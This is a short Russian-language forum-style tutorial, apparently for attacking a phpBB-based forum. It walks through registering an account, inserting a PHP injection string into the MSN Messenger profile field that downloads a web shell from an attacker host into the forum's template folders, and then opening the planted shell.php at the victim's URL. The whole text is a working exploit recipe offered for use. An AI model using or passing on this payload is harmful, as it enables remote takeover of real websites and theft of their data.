Всё давольна проста:

1. Заходим на форум в отдел регистрации
2. Вводим имя и пароль
3. в окошко MSN Messenger добовляем строчку:

";?><? copy("http://ATTACKER/shell.txt","templates/pb/images/ranks/shell.php"); copy("http://ATTACKER/shell.txt","templates/shell.php"); ?><?#

далее жмём регистрироватся, залогинимся..
далее идём по сылке:

http://VICTIM/path-to-forum/templates/shell.php
или
http://VICTIM/path-to-forum/templates/pb/images/ranks/shell.php